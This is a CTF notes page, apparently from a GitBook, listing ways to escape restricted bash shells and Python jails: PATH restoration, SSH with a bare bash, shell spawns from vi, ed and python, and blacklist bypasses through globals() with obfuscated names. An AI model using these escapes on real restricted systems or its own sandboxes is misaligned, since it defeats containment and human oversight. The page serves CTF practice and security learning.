> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/priv-esc/linux-privilege-escalation/escaping-from-jails.md).

# Escaping from Jails

## Escaping from bash jails

### Enumeration

Get more information about the jail

```bash
echo $SHELL
echo $PATH
env
export
pwd
```

### Restore the PATH

If the PATH is changed, see if you can restore it

```bash
echo $PATH
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin:$PATH
```

If the PATH is restricted you can also try to use the bash `command` builtin with the `-p` parameter

```
       command [-p] [-v] [-V] command [arg ...]
              Execute the specified command but ignore shell functions
              when searching for it.  (This is useful when you have a
              shell function with the same name as a builtin command.)

              -p     search for command using a PATH that guarantees to
                     find all the standard utilities.
```

For example

```bash
command -p cat flag
```

### Get bash via SSH

If you are accessing the jail via SSH you can launch bash without a profile

```bash
ssh <user>@<IP> -t "bash --noprofile"
```

### Escape via editors

#### Escape via vi

```bash
vi
:set shell=/bin/bash
:shell
```

#### Escape via ed

```bash
ed
!'/bin/bash'
```

### Escape via Python

If python is installed we can run one of these commands

```bash
python -c 'import os; os.system("/bin/bash");'
python3 -c 'import os; os.system("/bin/bash");'
```

## Escaping from Python jail

### Reset / Clear the blacklist

Try to reset or clear the blacklist to get full access to commands

```python
blacklist = []
blacklist = ''
blacklist = ""
blacklist.clear()
```

### Use the globals() function

Use the [globals()](https://docs.python.org/3/library/functions.html#globals) function to get access to wanted functions

```python
>>> def test():
...   print("test!")
... 
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'test': <function test at 0x7fb4de51d120>}
>>> globals().get('test')()
test!
>>> globals().get('te'+'st')()
test!
>>> globals().get(chr(116)+chr(101)+chr(115)+chr(116))()
test!
>>> exit()
```

## References

Bypass Linux Restrictions - HackTricks: <https://book.hacktricks.wiki/en/linux-hardening/bypass-bash-restrictions/index.html>

The Restricted Shell - Bash Reference Manual: <https://www.gnu.org/software/bash/manual/html_node/The-Restricted-Shell.html>

rbash escape | rbash restricted shell escape: <https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/>
